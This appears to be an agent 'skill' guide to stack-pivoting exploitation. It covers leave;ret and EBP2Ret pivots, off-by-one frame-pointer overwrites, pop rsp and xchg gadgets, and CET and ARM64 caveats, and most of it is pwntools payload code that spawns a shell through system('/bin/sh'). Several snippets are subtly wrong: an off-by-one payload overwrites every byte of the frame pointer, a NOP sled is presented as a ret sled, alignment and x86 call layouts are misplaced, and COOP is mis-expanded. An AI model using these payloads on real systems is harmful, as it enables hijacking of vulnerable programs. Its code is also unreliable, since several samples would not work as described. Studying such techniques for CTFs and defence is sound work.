Stack Pivoting Exploitation

Stack Pivoting Exploitation

This skill helps you exploit stack pivoting vulnerabilities by manipulating the Base Pointer (EBP/RBP) to control execution flow through function epilogues.

When to Use This Skill

Use this skill when:

• You can control the saved EBP/RBP but not EIP/RIP directly
• You have an off-by-one vulnerability affecting the frame pointer
• You need to pivot the stack pointer to attacker-controlled memory
• Standard ROP chains aren't available but pivot gadgets exist
• You're working with function epilogues containing leave; ret or similar
• You need to chain multiple function calls through fake frame pointers

Core Concepts

The leave; ret Pattern

On x86/x86-64, leave is equivalent to:

mov       rsp, rbp   ; mov esp, ebp on x86
pop       rbp        ; pop ebp on x86
ret

The saved EBP/RBP sits on the stack before the saved EIP/RIP. By controlling EBP, you can indirectly control where RSP points after leave, and thus control the return address.

Key Insight

You need to know two addresses:

1. Where RSP will point after leave (your controlled memory location)
2. The value at that location that ret will consume (your target address)

Finding Pivot Gadgets

Using Ropper

# Find leave;ret gadgets
ropper --file ./vuln --search "leave; ret"

# Find pop rsp gadgets
ropper --file ./vuln --search "pop rsp"

# Find xchg gadgets
ropper --file ./vuln --search "xchg rax, rsp ; ret"

# Find add rsp gadgets
ropper --file ./vuln --search "add rsp,"

Using ROPgadget

ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"

Common Pivot Gadgets to Search For

• leave ; ret - Classic frame pointer pivot
• pop rsp ; ret - Direct stack pointer control
• xchg rax, rsp ; ret - Swap register with stack pointer
• add rsp, <imm> ; ret - Increment stack pointer
• mov rsp, <reg> ; ret - Move register to stack pointer

EBP2Ret Technique

When It Works

• You can write to the saved EBP/RBP location
• The function uses frame pointers (not optimized away)
• You have a writable memory region to stage your payload

Exploit Construction Steps

1. Find a writable address where you can place your payload
2. Craft the fake EBP to point to your writable region + offset (8 bytes on x86-64, 4 bytes on x86 for the pop rbp)
3. Stage your payload at the writable address:
   • First 8/4 bytes: junk or second fake EBP (consumed by pop rbp)
   • Next 8/4 bytes: your target address (consumed by ret)
4. Overflow to overwrite saved EBP with your fake EBP
5. When function returns, leave sets RSP to your fake EBP, pop rbp consumes the first value, ret jumps to your target

Payload Structure (x86-64)

[Writable Memory Location]
├── 0x00-0x07: Junk or second fake EBP (pop rbp)
├── 0x08-0x0F: Target address (ret)
└── 0x10+: Additional ROP chain or arguments

Example: Calling system("/bin/sh")

from pwn import *

elf = context.binary = ELF('./vuln')
context.arch = 'amd64'

# Find addresses
SYSTEM = elf.sym['system']
BINSH = next(elf.search(b'/bin/sh'))
LEAVE_RET = 0x40117c  # Found via ropper

# Writable region (e.g., .bss or heap)
WRITABLE_ADDR = 0x601000

# Craft payload at writable address
payload_at_writable = flat(
    0x0,                    # pop rbp (junk or second fake EBP)
    SYSTEM,                 # ret target
    0x0,                    # return after system
    BINSH                   # argument for system
)

# Main overflow payload
payload = b'A' * offset_to_saved_rbp  # Pad to saved RBP
payload += flat(
    WRITABLE_ADDR + 0x8,    # Fake RBP (pointing past the pop rbp value)
    LEAVE_RET               # This will be the return address
)

# Send payload
p.sendline(payload)

EBP Chaining

Concept

Chain multiple fake EBPs to control execution flow through multiple function calls:

[Controlled Memory]
├── Fake EBP 1
├── &system()
├── &leave;ret
├── &"/bin/sh"
├── Fake EBP 2
├── &exit()
└── ...

When to Use

• You need to call multiple functions in sequence
• You have limited write primitives
• You want to maintain control after each function returns

Example with Stack Leak

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

# Get stack leak
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

# Gadgets
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

# ROP chain
payload = flat(
    0x0,               # rbp (could be another fake RBP)
    POP_RDI,
    0xdeadbeef,
    POP_RSI_R15,
    0xdeadc0de,
    0x0,
    elf.sym['winner']
)

# Pad to reach saved RBP
payload = payload.ljust(96, b'A')

# Add the pivot
payload += flat(
    buffer,         # Load leaked address in RBP
    LEAVE_RET       # Use leave to pivot RSP
)

p.sendline(payload)

Off-By-One Variant

When It Applies

• You can only modify the least significant byte of saved EBP/RBP
• The target memory location shares the first 3/5 bytes with original EBP/RBP

Strategy

1. Find a writable region near the original EBP (same page or nearby aligned region)
2. Use a RET sled to increase hit probability
3. Place the real ROP chain at the end of the sled
4. Modify the low byte to jump into the sled

Example

# Original EBP: 0x7fffffffe000
# We can only change the last byte
# Target: 0x7fffffffe0FF (same page, different offset)

# Create RET sled
RET_SLED = b'\x90' * 256  # NOP sled
ROP_CHAIN = flat(SYSTEM, 0, BINSH)

# Place at target address
payload_at_target = RET_SLED + ROP_CHAIN

# Overflow to modify last byte of EBP
payload = b'A' * offset_to_saved_rbp
payload += b'\x00' * 7  # Keep first 7 bytes
payload += b'\xff'      # Change last byte to 0xFF

Alternative Pivot Gadgets

pop rsp Gadget

# Gadget: pop rsp; pop r13; pop r14; pop r15; ret
POP_CHAIN = 0x401225

payload = flat(
    0,                 # r13
    0,                 # r14
    0,                 # r15
    POP_RDI,
    0xdeadbeef,
    POP_RSI_R15,
    0xdeadc0de,
    0x0,
    elf.sym['winner']
)

payload = payload.ljust(104, b'A')

# Pivot RSP
payload += flat(
    POP_CHAIN,
    buffer             # New RSP value
)

xchg , rsp Gadget

[Stack Layout]
├── Return address (to xchg gadget)
├── Register value (where RSP should point)
└── [Register value] <- RSP will point here after xchg

XCHG_RAX_RSP = 0x401230

payload = flat(
    XCHG_RAX_RSP,
    WRITABLE_ADDR      # Value to move into RSP via RAX
)

Architecture-Specific Considerations

x86-64 (amd64)

• 16-byte stack alignment required before call instructions
• Add alignment gadget if needed: ret or sub rsp, 8; ret
• Use pop rdi for first argument, pop rsi for second, etc.

# Alignment before calling system
payload = flat(
    POP_RDI,
    BINSH,
    0x0,               # Alignment (8 bytes)
    SYSTEM
)

x86 (32-bit)

• Arguments passed on stack (right-to-left)
• No 16-byte alignment requirement
• Use push gadgets or direct stack layout

# x86 system("/bin/sh")
payload = flat(
    BINSH,             # Push argument
    SYSTEM             # Call system
)

ARM64

ARM64 works differently:

• RET returns to x30, not SP
• Prologue/epilogue don't store/retrieve SP from stack
• Need to control both SP and x30

Prologue:
  sub sp, sp, 16
  stp x29, x30, [sp]   # [sp] = x29; [sp+8] = x30
  mov x29, sp

Epilogue:
  ldp x29, x30, [sp]   # x29 = [sp]; x30 = [sp+8]
  add sp, sp, 16
  ret                   # Returns to x30

ARM64 Strategy:

1. Control SP through some other means (overflow, register leak)
2. Abuse epilogue to load x30 from controlled SP
3. RET to the controlled x30 value

Modern Mitigations

CET Shadow Stack (SHSTK)

Problem: CET compares return addresses on normal stack with hardware-protected shadow stack. Mismatch = crash.

Impact: EBP2Ret and leave;ret pivots will crash on first ret from pivoted stack.

Checking for CET/SHSTK

# Check if binary is CET-marked
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'

# Check CPU support
grep -E 'user_shstk|ibt' /proc/cpuinfo

# Check if active for process
grep -E 'x86_Thread_features' /proc/$$/status

# In gdb/pwndbg
(gdb) checksec

Workarounds (if SHSTK is present)

• JOP (Jump-Oriented Programming)
• COOP (Call-Oriented Oriented Programming)
• SROP (Sigreturn-Oriented Programming)
• Avoid ret-based pivots entirely

Windows CET

• Windows 10+: User-mode CET
• Windows 11+: Kernel-mode Hardware-enforced Stack Protection
• Developers opt-in via CETCOMPAT
• Same impact: ret-based pivots fail

Frame Pointer Omission

Problem

Optimized binaries may omit frame pointers:

# With frame pointer:
push   %ebp
mov    %esp,%ebp
...
leave
ret

# Without frame pointer (optimized):
push   %ebx
sub    $0x100,%esp
...
add    $0x10c,%esp
pop    %ebx
ret

Detection

# Check compilation flags
readelf -p .comment ./binary

# Disassemble function
objdump -d ./binary | grep -A 20 '<function_name>'

# Look for leave;ret or pop rbp;ret

If Frame Pointer is Omitted

• EBP2Ret won't work
• Look for alternative pivot gadgets:
  • pop rsp; ret
  • xchg rax, rsp; ret
  • add rsp, <imm>; ret

Classic Pivot Staging Pattern

A robust strategy for many CTFs/exploits:

1. Initial overflow → Call read/recv into large writable region
2. Stage full ROP chain in .bss, heap, or mapped RW memory
3. Return to pivot gadget → Move RSP to staged region
4. Continue with chain → Leak libc, call mprotect, read shellcode, jump

# Step 1: Overflow to call read into .bss
payload1 = b'A' * offset + flat(
    POP_RDI,
    BSS_ADDR,
    POP_RSI,
    0x100,
    READ_ADDR
)

# Step 2: Send ROP chain to .bss
rop_chain = flat(
    POP_RDI,
    BINSH,
    SYSTEM
)

# Step 3: Pivot to .bss
payload2 = b'B' * offset + flat(
    LEAVE_RET,
    BSS_ADDR + 0x8  # Account for pop rbp
)

Debugging Tips

In GDB/Pwndbg

# Set breakpoint at vulnerable function
break *0x401234

# Examine stack
x/20gx $rsp

# Check frame pointer
info frame

# After overflow, check saved RBP
x/10gx $rbp

# Single step through epilogue
stepi

# Watch RSP changes
display/1gx $rsp

Common Issues

1. Wrong offset → Check with cyclic pattern
2. Alignment issues → Add padding before call
3. Frame pointer omitted → Use alternative gadgets
4. CET enabled → Pivot won't work, try SROP/JOP
5. Wrong architecture → Adjust for x86 vs x86-64 vs ARM64

Quick Reference

Next Steps

After successful pivot:

1. Leak addresses if PIE is enabled
2. Call mprotect to make memory executable
3. Read shellcode into executable memory
4. Jump to shellcode or continue ROP chain
5. Maintain alignment throughout the chain

References

• HackTricks Stack Pivoting
• ir0nstone Stack Pivoting Notes
• Bananamafia Stack Pivot Tutorial
• Linux Kernel CET Documentation
• Microsoft CET Documentation